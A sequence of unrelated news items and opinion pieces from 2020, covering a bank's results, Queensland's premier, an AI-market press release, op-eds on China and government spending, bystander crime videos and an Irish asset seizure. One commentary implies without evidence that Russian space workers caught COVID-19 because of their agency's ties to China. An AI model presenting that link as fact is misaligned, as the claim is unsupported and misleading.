Bandhan Bank on Tuesday, 12 May 2020, said that its net profit fell 20.52% to Rs 517.28 crore on 50.72% increase in total income to Rs 3,346.47 crore in Q4 March 2020 over Q4 March 2019.

Bandhan Bank operates as a commercial bank. The bank provides accounts checking, savings deposits, money market, mortgage, and term loans services, as well as card facilities and internet banking services. As at 31 March 2020, the total number of branches, 'Door Step Service Centers' (DSCs), GRUH Centers and ATM network stood at 1018, 3346, 195 and 485 respectively.

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
She is the 39th Premier of Queensland who is at the ready with a trick for those struggling to spell her surname. It is P, A, L, A, Sydney Zoo, Canberra Zoo, UK.

Until Queensland Chief Health Officer Dr Jeannette Young gave the green light, the states borders would remain closed to interstate visitors without an entry pass.

Queensland Premier Annastacia Palaszczuk is not for turning. In a week when so many weighed in on whether the state should reopen its borders, the leader held firm and vowed to only heed the counsel of one.

The Queensland Premier is the granddaughter of a Polish migrant who fled Europe after WWII and landed in Australia, seeking to carve out a better life for his family.

His first stop was the Wacol migrant camp before settling in Inala  a vibrant multi-cultural suburb 15 kilometres south-west of central Brisbane with a typical weekly household income of about $850 - where he remained until his death.

At night he would read encyclopaedias to find out as much as he could about the world. He did not have any opportunities for education when in his early adult years he was in a German slave labour camp. He installed in my father a strong sense of education. My father became a schoolteacher before entering this House. He then passed those values on to me, she said in her maiden speech.

Queensland Premier Annastacia Palaszczuk with her parents Henry and Lorelle on election night in 2017. Credit:Dan Peled/AAP

Palaszczuks father Henry was a long-time Labor MP, serving as the Member for Archerfield from May 1984 to September 1992 and the Member for Inala from September 1992 to September 2006. He took on a range of ministerial portfolios from communities to mines during his time in Queensland Parliament.
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The worldwide market size for Artificial Intelligence market is estimated to be USD 987.9 million in 2017 and is estimated to grow at a CAGR of 55.9% during the forecast period. According to a new study published by Polaris Market Research the global artificial intelligence market is anticipated to reach USD 54 billion by 2026. The advancements of robots and the rise in their deployment rate particularly, in the developing economies globally have had a positive impact on the global artificial intelligence market. Augmented customer experience, expanded application areas, enhanced productivity, and big data integration has highly propelled artificial intelligence market worldwide. Although, absence of adequate skilled workforce as well as threat to human dignity are some of the factors that could affect the growth of the market. However, these factors are expected to have minimal impact on the market attributed to the introduction of advanced technologies.

An extraordinary increase in productivity has been achieved with machine-learning. For instance, Google, with the help of its experimental driverless technology has transformed cars including, Toyota Prius. Integration of various tools by artificial intelligence has helped in the transformation of business management. These tools include brand purchase advertising, workflow management tools, trend predictions among others. For example, the Googles voice accuracy technology has 98% of accuracy rate. Furthermore, Facebooks DeepFace technology has a success rate of approximately 97% in recognizing faces. Such accuracy in technologies is further anticipated to bolster the market growth during the forecast period.

Request for a sample of this research report @ https://www.polarismarketresearch.com/industry-analysis/artificial-intelligence-market/request-for-sample

Currently, North America dominates the global artificial intelligence market attributed to the high government funding availability, existence of prominent artificial intelligence providers in the region, and robust technical adoption base. Also, the region is expected to continue its dominance during the forecast period. Moreover, the adoption of cloud-based services in key economies, such as the US and Canada, is considerably adding to the market growth in the North American region. The markets in Asia Pacific, MEA and South America region are expected to notice a high growth during the coming years. The growth in Asia Pacific region is attributed to the increasing demand for artificial technologies by the developing economies. Thus, the region is anticipated to grow at the highest CAGR during the forecast period.

Major companies profiled in the report include Google Inc., Intel Corporation, Nvidia Corporation, Microsoft Corporation, IBM Corporation, General Vision, Inc., Qlik Technologies Inc., MicroStrategy, Inc., Brighterion, Inc., and Baidu, Inc. among others

Complete Summary with TOC Available @. https://www.polarismarketresearch.com/industry-analysis/artificial-intelligence-market

Key Findings from the study suggest North America is expected to command the market over the forecast years. APAC is presumed to be the fastest growing market, developing at a CAGR of more than 65% over the forecast period. The artificial intelligence market is presumed to develop at a CAGR of over 55.9% from 2018 to 2026. The high implementation of artificial intelligence in several end-user verticals including, retail, automotive and healthcare is projected to boost the growth of the market over the forecast period. Several companies are making considerable investments to integrate artificial intelligence competences into their portfolio of products. For instance, in 2016, SK Telecom and Intel Corporation signed an agreement for the development of the artificial intelligence based vehicle-to-everything (V2X) technology as well as video recognition.

Artificial Intelligence Market Size and Forecast by Technology Machine Learning Natural Language Processing Image Processing Speech Processing

Artificial Intelligence Market Size and Forecast by End-use Verticals BFSI Transportation & Automotive Manufacturing Healthcare Retail Media & Advertising Others

Artificial Intelligence Market Size and Forecast by Regions North America U.S. Canada Europe Germany UK France Italy Asia Pacific China Japan India Latin America Brazil Mexico Middle East & Africa



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About Polaris Market Research

Polaris Market Research is a global market research and consulting company. We provide unmatched quality of offerings to our clients present globally. The company specializes in providing exceptional market intelligence and in-depth business research services for our clientele spread across different enterprises. We at Polaris are obliged to serve our diverse customer base present across the industries of healthcare, technology, semi-conductors and chemicals among various other industries present around the world. We strive to provide our customers with updated information on innovative technologies, high growth markets, emerging business environments and latest business-centric applications, thereby helping them always to make informed decisions and leverage new opportunities.

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Xi Jinping is a man in a hurry. He is 67 next month and wants, as his legacy, China to overtake the US as the dominant economic and military might on earth.

To achieve that, Xi has accumulated enough power to make a Roman emperor blush.

Xi Jinping is the general secretary of the Communist Party; the commander-in-chief of the Peoples Liberation Army; the president of the Peoples Republic of China; the chairman of the Central Military Commission; the chairman of the National Security Commission of the Communist Party of China; the chairman of the Comprehensively Deepening Reforms Commission; the chairman of the Central Financial and Economic Affairs Commission; the chairman of the Central Foreign Affairs Commission; the chairman of the Central Commission of Internet Affairs; and the director of the Central Cyberspace Affairs Commission.

Other rising powers  Britain in the 19th century, the US in the 20th century  have used military might to obtain economic dominance and vice versa. But at all times they represented to some extent the Enlightenment values of separation of powers, of freedom of thought and expression, and allowed, indeed encouraged, a free market in politics so that opposition parties could exist and challenge existing order.

These values are anathema to Xi. The latest expression of his contempt for even a modicum of democracy is Beijings announcement that any protest in Hong Kong would be treated as subversion or terrorism and subject to overwhelming repression. This tears up the 1984 UK-China Treaty, where sovereignty of Hong Kong was given over by the British, and shows Xis contempt for international law.

Yet voices in London are silent. Because so much money has been made out of China since globalisation took off 40 years ago, many have forgotten China remains a communist dictatorship every bit as bad as Stalins Soviet Union. China has its gulags where the Nobel Peace Laureate Liu Xiaobo was sent to rot to death as soon as the democratic world recognised him as a champion of human rights.

If Stalin sought to eradicate the identity of Ukraine, Xi is doing no less to Chinese Uighurs in northwest China where many are kept in concentration camps. Stalin used the useful idiots of the global left to paint a glowing picture of Soviet oppression. Xi has his useful idiots in the ranks of retired politicians and investment fund managers or business executives who are paid as board members, consultants, or just enjoy huge salaries and bonuses from trading with a China that denies all trade union rights.

I first went to China in 1982 to try and find out if there were any hopes of independent trade unions being created. It was a fruitless mission. All I saw in Guangdong province, now the powerhouse economic region up the Pearl River from Hong Kong, were millions on bicycles, lots of lorries and a few big black cars with drawn curtains in which the communist elites travelled.

Later as a minister for the Foreign and Commonwealth Office, I was responsible for relations with China and visited as often as I could, marvelling at the revolution in living standards.

But as welcome as Chinas economic growth has been, the nation under Xi is now a threat to global security and stability and is now in an objective alliance with other nationalist populists like Donald Trump, Vladimir Putin, Brexit isolationists in the UK and the presidents of Turkey and Brazil. They want to weaken international rule of law, human rights and the values of an open society that rejects xenophobia.

It is clear now that Xi is making mistakes. Firstly, he thought Trump would be as compliant as all previous US presidents in seeking to curry favour. Trumps politics are vulgar and crude but he has an instinctive feel for where many of Americas workers and middle classes are. They feel that the Wall Street-dominated administrations of presidents Bill Clinton and George W Bush, and Barack Obama sacrificed main street and hard-working America by allowing one-way trade with China. China was allowed into the World Trade Organisation without respecting any of its rules.

The great hope that as China grew richer it would become more free  the belief that capitalism equals democracy  has turned out not to be true. The Democrats are even tougher on China. Joe Biden calls Xi a thug and Democratic foreign policy experts are united in saying the US can no longer turn a blind eye to Beijings search for global domination without respecting global rules.

Pulitzer-winning photographers look back on Hong Kongs protests Show all 20 1 /20 Pulitzer-winning photographers look back on Hong Kongs protests Pulitzer-winning photographers look back on Hong Kongs protests An anti-extradition bill protester is detained by riot police during skirmishes between the police and protesters outside Mong Kok police station, 2 September, 2019 Photos by Reuters Pulitzer-winning photographers look back on Hong Kongs protests Police fire tear gas and rubber bullets at anti-extradition bill protesters during clashes in the Sham Shui Po district of Hong Kong, 14 August, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests A pro-China demonstrator films herself as an anti-government protester holds up a sign on her phone during skirmishes between the two opposing groups at Yuen Long station in Hong Kong, China, 12 September, 2019. The words on the phone read, "Seek an official reassessment of the June 4 crackdown," referring to the 1989 Tiananmen Square protests Reuters Pulitzer-winning photographers look back on Hong Kongs protests A man sprays paint over the Regional Emblem of Hong Kong after anti-extradition bill protesters stormed the Legislative Council Complex on the 22nd anniversary of the handover from British to Chinese rule, destroying pictures and daubing walls with graffiti on 1 July, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests An anti-government protester, who later identified himself as a university student, is chased by riot policemen after skirmishes at the Chinese University of Hong Kong on 12 November, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests Hundreds of thousands protesters march through the streets of Hong Kong, demanding for it's leaders to step down and withdraw the proposed extradition bill on 16 June, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests A masked anti-government protester, wielding a hammer, attacks a man who bystanders suspected of being a pro-Beijing activist from mainland China, during a protest in the Mong Kok area in Hong Kong on 11 November, 2019. The bloodied man, who suffered major facial and head trauma, was reported to have survived his injuries by local media Reuters Pulitzer-winning photographers look back on Hong Kongs protests Passengers push their luggage past bricks and barriers after anti-government protesters blocked the roads leading to Hong Kong International Airport on 1 September, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests Mall security personnel urges caution as he tries to extinguish a burning Christmas tree at the Festival Walk mall in Kowloon Tong on 12 November, 2019. The property suffered damage after anti-government protesters stormed the shopping centre Reuters Pulitzer-winning photographers look back on Hong Kongs protests A woman looks out from the window of a residence as tens of thousands of demonstrators march through Hong Kong on 20 October, 2019, demanding autonomy and for its leaders to step down weeks after the formal withdrawal of an extradition bill Reuters Pulitzer-winning photographers look back on Hong Kongs protests Hundreds of anti-government protesters gather after climbing to the peak of Lion Rock as a lighted sign is held high in the air, in Hong Kong on 13 September, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests A child sits in carrier wearing a mask as anti-government protesters hold hands to form a human chain in a sign of solidarity in Kowloon Bay on 30 November, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests Anti-government protesters are detained during skirmishes between the police and protesters in Admiralty district, Hong Kong on 29 September, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests Hong Kong's Chief Executive Carrie Lam pauses while holding a news conference in Hong Kong on 27 August, 2019. On September 4, Lam announced the formal withdrawal of the extradition bill Reuters Pulitzer-winning photographers look back on Hong Kongs protests Anti-extradition bill protesters use slingshots to hurl bricks as they clash with riot police during a demonstration to demand democracy and political reforms, in the market town of Tsuen Wan, located in Hong Kong on 25 August, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests Customers cautiously exit an eyeglass store past a burning molotov cocktail as demonstrators clash with riot policemen during a march billed as a global "emergency call" for autonomy, in Hong Kong on 2 November, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests Demonstrators protesting the proposed extradition bill aim their flashlights towards riot police as they are chased through the streets of Hong Kong on 25 August, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests A restaurant worker receives help from volunteers as patrons cover their faces after riot police fired tear gas nearby to disperse anti-government protesters taking part in a march billed as a global "emergency call" for autonomy, in Hong Kong on 2 November, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests Anti-government protesters stand in a cloud of tear gas unleashed during a stand off with riot police at the Chinese University of Hong Kong, in Hong Kong on 12 November, 2019 Reuters Pulitzer-winning photographers look back on Hong Kongs protests A man clears debris following the clashes between police and anti-government protester after a two week campus siege of the Polytechnic University in Hong Kong on 16 November, 2019 Reuters

This is a problem for Boris Johnson and Dominic Raab who head the pro-Beijing faction in the cabinet, and China boosters like Lord Jim ONeill, chair of the Royal Institute of International Affairs. If Trump is re-elected or if Biden is president, Washington will become tougher with China while the British establishment remains in its kow-tow posture to Xi and Beijing communists.

Second, China is now behaving like an imperial colonising power. Its crude military pressure on its neighbours, demanding they must accept China as master of the seas, has gone too far. Even little New Zealand is supporting Taiwans bid to work in the World Health Organisation.

Thirdly, Xis disastrous handling of the coronavirus pandemic with his arrest of doctors who raised the alarm in December, his bullying of the World Health Organisation to keep secret the outbreak in its early stages, and his allowing hundreds of thousands of Chinese to fly in January to Europe to spread the disease is increasingly seen around the world as a crime against humanity.

China spends millions on disinformation campaigns. The democratic world which challenged Stalins lying propaganda after 1945 with effective countermeasures has been asleep.

We need a global campaign to hold China to account. This is not about siding with Trump or about economic boycotts or stopping trade or travel or losing any respect for the talents and hard work of Chinese people of all ages, including the hundreds of thousands studying in our universities.

It is time to wake up, alert populations, and spend serious money on targeted campaigns to inform the world, including the 1.4 billion Chinese, that democracy, freedom of information and open economies are not going to disappear  unless we stop fighting for them.

Denis MacShane is the UKs former minister for Europe
The Soyuz MS-13 spacecraft is mounted on the launch pad at the Russian-leased Baikonur cosmodrome in Kazakhstan on July 18, 2019. (Dmitry Lovetsky/POOL/AFP via Getty Images)

Death of Russian Spaceflight Chief Highlights Russia Space Agencys Ties to China

Commentary

The head of Russias human spaceflight program, Yevgeny Mikrin, died recently at the age of 65 after contracting the CCP virus, the national space agency Roscosmos announced on May 5. President Vladimir Putin offered his condolences to his family and friends.

Since 1981, Mikrin had worked for Energia, Russias largest aerospace company, helping to develop crewed and cargo spacecraft control systems, multimodule space complexes, and automatic spacecraft. His death is a significant loss for Russias rocket and space industry.

Dmitry Rogozin, the director-general of Russian aerospace firm Roscosmos, wrote on Twitter on May 1: Data on space and rocket industry workers infected with a new coronavirus infection (2019-NCOV) at 20:00 on 04/30/2020 TOTAL DISEASE  173, RECOVERED  16, DIED  6.

Russia has 362,342 confirmed cases of the CCP (Chinese Communist Party) virus, which causes the disease COVID-19, with 3,807 deaths as of May 26, according to data collected by Johns Hopkins University.

Why are there so many COVID-19 cases within Russias space and rocket industry? Countries, regions, and organizations that have close ties with the Chinese regime have been heavily affected by the CCP virus, which broke out in China in late 2019. What is the connection between the Russian space and rocket industry and the CCP?

The arms race between the United States and the Soviet Union during the Cold War intensified as the two powers raced to put a man on the moon. After the disintegration of the Soviet Union, due to an economic downturn and lack of funds, Russias aerospace program diminished as technology and talent lagged. The United States has also slowed its space programs due to the lack of strong competitors.

On the contrary, the CCP has invested heavily in Chinas space program with strong capital accumulated after economic reforms in the 1980s, especially in launching satellites and carrier rockets. However, theres still a huge gap to fill in aerospace technology for China. The CCP knew it would be impossible to collaborate with the United States, so it turned to Russia for technical support in exchange for economic benefits.

On Nov. 1, 2017, China and Russia agreed to work together on six space-related technologies for the period from 2018 to 2022. The deal was one of roughly 20 agreements signed by Chinese Premier Li Keqiang and his Russian counterpart Dmitry Medvedev in Beijing at the 22nd regular meeting between the two countries heads of state.

According to a press release from Roscosmos space agency, the six sectors of cooperation are lunar, deep space, joint spacecraft development, space electronics, earth remote-sensing data, and space debris monitoring.

Cooperation in the field of space transport services could involve the launches of Chinese spacecraft on board Russian carrier rockets to deploy Chinas multi-satellite constellation, as well as possible deliveries of rocket engines, Russian state news agency Sputnik quoted Rogozin as saying. [From] China, it is the supply of microelectronics that we need.

He also said satellite navigation was a potential area of cooperation, with China set to complete its BeiDou Navigation Satellite System by next year, and Russia rolling out its GLONASS constellation.

Sergei Anatolyevich Gavrilov is deputy head of the lower chamber in Russias legislature, representing the Communist Party. According to the Chinese regimes mouthpiece Peoples Daily, Gavrilov has said Chinese collaboration in space programs will bring tremendous benefits to Russia.

To the Chinese regime, collaboration with Russia would boost Chinas technical advancements, allowing it to potentially overtake the United States in satellite navigation, and to exert the its influence around the world.

On Nov. 29, 2017, Russia approved an agreement with China to protect classified technologies used in space activities, signed on June 25, 2016, in Beijing during Putins official visit to China.

Multiple collaborations have also taken place between Russian and Chinese research institutes and universities. In 2017, Shanghai Jiao Tong University School of Aeronautics and Moscow Aviation Institute launched a joint educational program.

Samara State Aerospace University also collaborated with Nanjing University of Aeronautics and Astronautics, and conducted academic exchanges within the formers Institute of Engines and Power Plant Engineering created in 2014.

On March 3, 2018, Roscosmos and Chinas National Space Administration signed a deal to work together in the field of moon exploration and deep space, and the creation of a data center on lunar projects.

On June 12, 2019, the United Nations Office for Outer Space Affairs and the China Manned Space Agency announced the winners of their joint opportunity initiative to conduct experiments onboard the China Space Station. The China Manned Space Agency selected nine projects, which involved scientists from 17 nations. Among the projects was an IndianRussian observatory.

At the 2019 International Aviation and Space Salon, held from Aug. 27 to Sept. 1 in Zhukovsky, a small town near Moscow, China showcased its domestically developed drones, carrier rockets, and amphibious planes. China was the country partner at the event that year.

In an interview with Chinese state-run media Xinhua, Alexander Zheleznyakov, a member of the Tsiolkovsky Russian Academy of Cosmonautics, said he was impressed by Chinas competitive edge in the international commercial launch market and the Chinese rockets technical advantage.

Satellite navigation systems are known to have multiple applications for communications, military, and navigation. The United States developed the global positioning system (GPS), which has been used in large-scale combat operations such as the Gulf War. Likewise, GLONASS is Russias global navigation system. Chinas BeiDou will be the fourth global satellite navigation system to be created, after the U.S. GPS, Russias GLONASS, and the European Unions Galileo.

Through collaboration with Russia, China developed its own advanced positioning, navigation, and timing system, known as PNT, for the BeiDou navigation system. China plans to expand BeiDou with a military-driven objective. Now, the BeiDou system has moved to its third phase of development, which will feature middle-earth orbit satellites, three geostationary satellites, and three inclined geosynchronous orbits. The system currently has 33 satellites in orbit; the plan is to finalize the program in 2020 with 35 satellites in orbit.

China is marketing BeiDou to countries that are part of its Belt and Road Initiative (BRI, also known as One Belt, One Road) by offering incentives. Through this initiative, Beijing invests in countries infrastructure projects while building up geopolitical clout.

According to Spaceflight Now, when the system is complete, BeiDou will have eight satellites in geosynchronous orbit, being the only country to do so.

A 2017 report by the U.S. China Economic and Security Review Commission details the implications the BeiDou system will have on the U.S. GPS. BeiDou could pose a security risk by allowing Chinas government to track users of the system by deploying malware transmitted through either its navigation signal or messaging function (via a satellite communication channel), once the technology is in widespread use, according to the report.

It is no doubt the speedy development and advancement of Chinas aerospace programs and projects were supported by Russian experts and research institutes. Shall we say that the real factor behind the virus outbreak among many Russian aerospace experts is the space agencys lucrative and political ties to the CCP?

The author of this article is a Chinese contributor using a pen name to protect his identity. As Chinese contributors and staff members of The Epoch Times and their relatives have been harassed, imprisoned, and disappeared in China, we protect their identities when necessary to avoid further persecution by the Chinese communist regime.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
" " Protesters kneel in front of New York City police during a march to honor George Floyd near Union Square on May 31, 2020, in New York City. Violent nationwide protests broke out after video emerged of Floyd's death at the hands of Minneapolis police officers. John Moore/Getty Images

The emergence of a shocking cell phone video depicting the death of 46-year-old George Floyd on May 25, 2020, during his arrest by Minneapolis police officers, set off a wave of disgust and anger that sent major cities in the U.S. and abroad into convulsions of protest and violence.

Barely three weeks before that, on May 5, 2020, another cell phone video went instantly viral, this one depicting the shooting death of 25-year-old Ahmaud Arbery as he jogged through a neighborhood near Brunswick, Georgia. It caused a huge public outcry and quickly was followed by the arrest of two local men who were charged with murder and aggravated assault.

The Arbery video also changed the life of William "Roddie" Bryan, the neighborhood man who recorded the fatal confrontation from his pickup truck, and soon faced public scrutiny and accusations that he was more than an innocent onlooker. Bryan took a polygraph test in order to show that he didn't participate in the fatal shooting, and went into hiding with his fiancee after being targeted by protesters, CNN reported. Nevertheless, the Georgia Bureau of Investigation arrested Bryan on May 21, 2020, on charges of felony murder and criminal attempt to commit false imprisonment in connection with Arbery's murder, according to a GBI press release. Bryan's attorney maintained his innocence, according to The Brunswick News.

The George Floyd video, the Ahmaud Arbery video and so many more before those, have rocked the world and underscored how incredibly complicated things can quickly become when someone records a video of an act that may turn out to be a crime. Videos shot by bystanders can become important pieces of evidence in court cases, to the extent that law enforcement authorities sometimes now call for members of the public to come forward with them, as they did in the case of a shootout between police and truck hijackers in Florida in 2019, according to NBC Miami. Recordings also can become crucial sources of information in police shootings such as the 2015 killing of Walter Scott, an unarmed man in South Carolina, which was recorded by a passerby walking to work.

In a day and age in which shooting video is so easy that people often impulsively pull out their phones whenever there's any kind of excitement, it's entirely possible for someone to capture footage of a crime and not even realize its significance until he or she gets home and watches it, attorney Eric J. Trabin explains. He's an Almonte Springs, Florida-based criminal defense and family law practitioner, and a former assistant state attorney in Florida.

"No one knows if it's going to be a high-profile case when the incident is happening, that you are going to be sucked into the vortex," he says.

Nevertheless, shooting a video of a possible crime can complicate your life in a hurry. Instantly, you may morph into a news source and continually face a constant barrage of questions from reporters. Police and prosecutors may see you as a key witness in an investigation and trial. You may even come under public scrutiny about your motives and the extent of your involvement in the incident, or find yourself the target of protests and even threats.

Here are five things you should know before hitting the record icon on your phone screen.

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1. You Have the Right to Record Almost Anything in Public

"When in public spaces where you are lawfully present you have the right to photograph  still or video  anything that is in plain view," Jay Stanley, a senior policy analyst for the American Civil Liberties Union's Speech, Privacy, and Technology Project, explains via email. That includes the freedom to shoot video of police officers, as long as you don't jump into the middle of the action and get into their way.

If you're out in the street or on a sidewalk, "you pretty much have a right to video almost anything you want," Trabin explains. In a follow-up email, he notes that there are a few important exceptions. "It wouldn't be OK to video someone if it was part of stalking a person or if it were child pornography," he says.

On private property, it's a little more complicated, because the property owner may set rules about the taking of photographs or video. "If you disobey the property owner's rules, they can order you off their property and have you arrested for trespassing if you do not comply," Stanley says. "Some recent court cases have suggested that there may be exceptions, however, where people can record even against the wishes of a property owner, such as when you're taping something of public concern like illegal activity. The law is still uncertain in that area."

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2. You're Not Legally Obligated to Send the Video to the Police

If you shoot a video and simply stick your phone in your pocket, walk away, and don't ever show the video to anyone else or upload it to social media, you might conceivably avoid police attention if you're not the sort who wants it. But if you choose to come forward, or investigators find you somehow, it's likely that they're going to want that video.

In most instances, police can't confiscate your phone, unless it's either some sort of dire life-and-death emergency, or they have reason to believe that you're going to delete the evidence, according to Stanley. But you're probably going to end up giving the video file to them.

"Although a person could choose not to turn over the video, the police could go to a court and obtain a warrant for the video," Trabin notes via email.

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3. Your Video Contains a Lot of Potentially Important Evidence

You might think that the video itself is the only thing that matters, but Trabin says that the file has lots of other information that can be invaluable to investigators, such as geolocation, time and date data that shows exactly when and where something happened.

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4. You Could Become a Witness in a Criminal Case

Sometimes, both sides in a criminal case simply will stipulate that a video accurately depicts what happened, Ronald L. Carlson explains. He's the Fuller E. Callaway Chair of Law Emeritus at the University of Georgia School of Law, and author of 20 books on the law of evidence, criminal procedure and trial practice. But if the prosecution and defense don't agree, the side that's relying on the video needs to lay a foundation by putting the person who shot the video  someone else who was there  on the stand to authenticate it under oath.

"Either the photographer or the bystander have to say this is a true and accurate representation of the scene or objects that we saw that day," Carlson says.

Even so, the other side can still try to challenge the video on various grounds, according to Carlson. "Somebody who was involved in the fight or whatever was captured in the video might testify that it distorts or misrepresents how things went down."

Things can get more complicated if the person with the phone only captured part of the incident. One option for the judge would be to throw out the partial video, in response to an objection that it would prejudice the jury. Alternatively, though, "the judge might allow it to come into evidence, but require the person who shot it, or his buddy, to testify to the portions [of the event] that were left out," Carlson explains.

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5. You May Face Some Uncomfortable Public Scrutiny

If you pull out your phone and record an apparent violent crime in progress, you may also be faced with a discomforting question: Instead of shooting video, why didn't you come to the aid of the person being victimized? In one particularly extreme example of inaction, numerous teenage bystanders watched as a 16-year-old boy got into a fight outside a Long Island strip mall in 2019. Instead of intervening, some simply recorded it on their cell phones, even when the victim fell to the sidewalk with what turned out to be a fatal stab wound, according to The New York Times.

"First and foremost, I care about the target and I want someone to do something to protect that person," Dr. Sameer Hinduja says via email. He's co-director of the Cyberbullying Research Center and a criminology professor at Florida Atlantic University. "Shouldn't that be everyone's default concern? Shouldn't they be compelled to action when they see victimization take place?"

In a strict legal sense, though, you're probably in the clear if you just stood there and shot the footage. "Generally, individual bystanders are not legally compelled to assist or intervene when witnessing criminal activity," Jan L. Jacobowitz, a lecturer and director of the professional responsibility and ethics program at the University of Miami's School of Law, explains via email.

Things possibly could get more complicated if you upload the video to the internet. While it's not against the law to record an event that occurs in a public place, "if the video is used on social media to portray an individual in a false or defamatory manner then the individual may have a legal cause of action," Jacobowitz says. Even so, "if there is not an attempt to portray an individual in a false light, then the posting of the video, in accordance with an online platform's terms of service, is likely legal regardless of whether it may be considered in poor taste."

If your video becomes part of an investigation and a court case, you may find yourself becoming news as well, as the video-shooting neighbor in the Georgia case has discovered.

Handling all these issues is no simple matter, and you won't want to manage it without professional help. "Pretty quickly, you should call a lawyer and get representation," Trabin says.

An attorney can contact the police on your behalf and make arrangements to turn over the video. He or she also can help you to answer whatever questions that investigators have. Additionally, your attorney can field any inquiries that you get from the media  and keep you from making misstatements in interviews that you might be questioned about later in court.

"You don't want to end up on TV [like] a deer in the headlights," Trabin cautions.

Additionally, Trabin says you'll want to make multiple copies, including a cloud-based backup, of that important video, and you'll want to store the phone that you used to record it in a safe place as well, since police may need it too.

Now That's Interesting Phone videos of police shootings and incidents involving allegations of excessive force have become such an important piece of evidence that the California branch of the American Civil Liberties Union even has developed a special phone app, Mobile Justice CA, that allows users to capture a confrontation and automatically upload it to the local American Civil Liberties Union office.
"Work expands so as to fill the time available for its completion." - C. Northcote Parkinson, Parkinson's Law

Politicians are much smarter than they appear. Think about it. For decades theyve stoked voter fury with stories of $600 toilet seats, welfare queens, crony capitalist handouts to Shake Shack, Harvard, Tesla and Solyndra (to name just a few), earmarks, and ritual anger about atrocities like $27,000,000 for Moroccan pottery classes funded through USAID.

Theres always some kind of outrage that distracts voters from what really matters. And the only number that matters is how much government spends. Period. Money isnt some abstraction, its instead an agreement about value that is exchangeable for actual market goods and services. Precisely because money represents the movement of real things, including labor most crucially, government spendings total amounts to how much control politicians have over us. We are the economy. Get it?

The shame is that its only gotten worse since March, when lockdowns on the city, state and national levels began. Crisis is of course oxygen for government that, because its government, only grows. And with an invisible virus having reached the freest country on earth, we shouldnt be surprised that politicians would use the virus to grow their role in our lives. Basically crises feed government, plus governments in their zeal to centralize the response to everything invariably create crises.

Needless to say, politicians managed to distract the electorate yet again. Fear and outrage rooted in news like the Los Angeles Lakers receiving government funds was the shameful deception as Congress in very short order extracted $2.9 trillion from the U.S. economy in order to redistribute same. What a deal for Congress: near-term rage about a prosperous professional team getting $10 million or so, in return for the right to hand out trillions.

The tragedy is that the money being wasted is but the beginning. We know this because governments never shrink. No doubt politicians talk a big game about looking at budgets in line by line fashion in search of waste, but the underlying reality is that they exist to spend. And once the money is spent, the amount consumed by politicians rarely retreats. Spending cuts in one area distract us yet again, only for the money saved to be spent elsewhere.

Notable is that the above truth was institutionalized long ago by British scholar C. Northcote Parkinson. His essential observations are known as Parkinsons Law. While analyzing British naval history, Parkinson revealed as false the widely held view embraced by politicians that the need for more civil servants will reveal itself through a growing volume of work completed. The truth is something quite different.

As Parkinson observed, "the number of the officials and the quantity of the work are not related to each other at all." In his case, Parkinson witnessed the non-relationship up close through studies of the Royal Navy's bureaucracy.

While the Royal Navy could in 1914 claim 146,000 officers and men served by 3,249 dockyard officials and clerks, plus 57,000 dockyard workmen, by 1928 there were only 100,000 officers and men, yet the number of dockyard officials and clerks had risen to 4,558. This, despite the fact that the number of British warships had declined from 62 to 20.

Parkinson went on to show that over the same period, the number of Admiralty officials had risen from 2,000 to 3,569. The British Navy had shrunk by 1/3rd in terms of men, and 2/3rds in terms of ships, thus forcing Parkinson to conclude that the growth in the number of workers for the Royal Navy "was unrelated to any possible increase in their work."

Parkinson went on to lay out what he deemed two "motive forces" for the increase of bureaucracy alongside reduced work output. As he put it, "An official wants to multiply subordinates, not rivals," and second, "Officials make work for each other." If an official feels overworked, whether true or not, there's little incentive to hire someone of similar stature, nor is there incentive to hire just one subordinate. Indeed, if the senior official were simply to hire one subordinate, doing so would effectively make the hire similar in stature to the individual who hired him.

But arguably the main driver of the growth of bureaucracies is self-interest. Politicians, like you and me, want to enjoy lifes comforts. Their calculation is that if they can endure top percentile pay of $174,000 for several terms on the way to stature within the House or Senate, they can retire to many multiples of their government pay once out of office.

Stating what should be obvious, cushy retirements for politicians dont in any way correlate with shrunken government. The only way for politicians to attain their reward of well-paid lobbying jobs, professorships, and speaking fees is if the cost and scope of government continues to rise. Absent the growth, ex-politicians would have to get regular jobs. And as we know intimately now, regular jobs often have ephemeral qualities to them.

Government is much safer. Precisely because it grows and grows, there will always be work outside of it related to moving the money it spends around, teaching how government moves money around on leafy college campuses, or talking to rapt audiences about how government moves money around. Its amazing work if you can get it, but its only amazing insofar as spending grows.

Comical and sad about all this is that $2.9 trillion was once again extracted from the private economy so that politicians could centrally plan who got it. Absent this obnoxious arrogation of private wealth by public servants, its not as though the money would have sat idle. Quite the opposite, really. Indeed, there are already in existence seasoned professionals well-schooled when it comes to expertly directing unspent wealth to higher uses in the form of investment that creates the companies and jobs politicians claim to yearn for. Theyre called investment bankers.

So why didnt politicians skip building new governmental bureaucracies, while leaving resource allocation to those outside government? Readers know the answer. $2.9 trillion (and counting) spent by Congress now makes it near impossible for future spending to be smaller (if at all) than the new amounts spent. Since spending cuts relative to past years are always heartless and certain to result in "mass poverty," spending allegedly cant be reduced.

Which means retirement for your always parsimonious politicians will become cushier and cushier. In short, the $2.9 trillion outrage that so many ignored while yelling about Shake Shack is only the beginning. Parkinsons Law and human nature ensure that this latest surge in governments size and cost just sets the stage for more and more of the same.
The Criminal Assets Bureau (CAB) has seized a Range Rover and a number of watches today,

The CAB carried out a search operation at five locations in the Dublin Metropolitan Region South, Dublin Metropolitan Region East and Meath Divisions.

During the course of the operation, the following assets were seized:

A 131 Range Rover

2 Rolex watches

1 Breitling watch

1 Longines watch

Gardai said that a number of files, documentation and hard drives were also seized during the search operation.

